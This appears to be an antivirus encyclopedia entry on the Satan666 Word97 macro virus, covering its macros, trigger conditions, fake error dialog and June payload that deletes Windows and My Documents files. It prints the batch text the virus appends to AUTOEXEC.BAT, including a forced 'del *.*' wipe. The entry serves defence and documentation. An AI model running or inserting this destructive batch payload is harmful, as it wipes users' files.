Technical Details
This virus contains 14 macros in one module “Satan666”: Satan666, FileOpen,
FileClose, FileSaveAs, FileSave, FileNew, AutoExec, AutoNew, AutoSave,
AutoClose, AutoOpen, ToolsOptions, ViewVBCode, ToolsMacro. The virus
infects the system and documents on calling any of these macros.
The ToolsMacro and ViewVBCode functions are available only if the first
line in C:AUTOEXEC.BAT file contains the text:
REM Hail Satan!
Else the virus cancels these procedures and displays the MessageBox:
Microsoft Visual Basic
Sub or Function not defined
In June the virus erases the files and directory:
c:windows*.*
c:windowssystem*.*
c:My Documents
It then appends to the C:AUTOEXEC.BAT file the text:
@echo off
cls
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Y>Yes
attrib -h -r -s
del *.*
and displays the MessageBox:
Satan666 Word97 Virus
Hail Satan!
|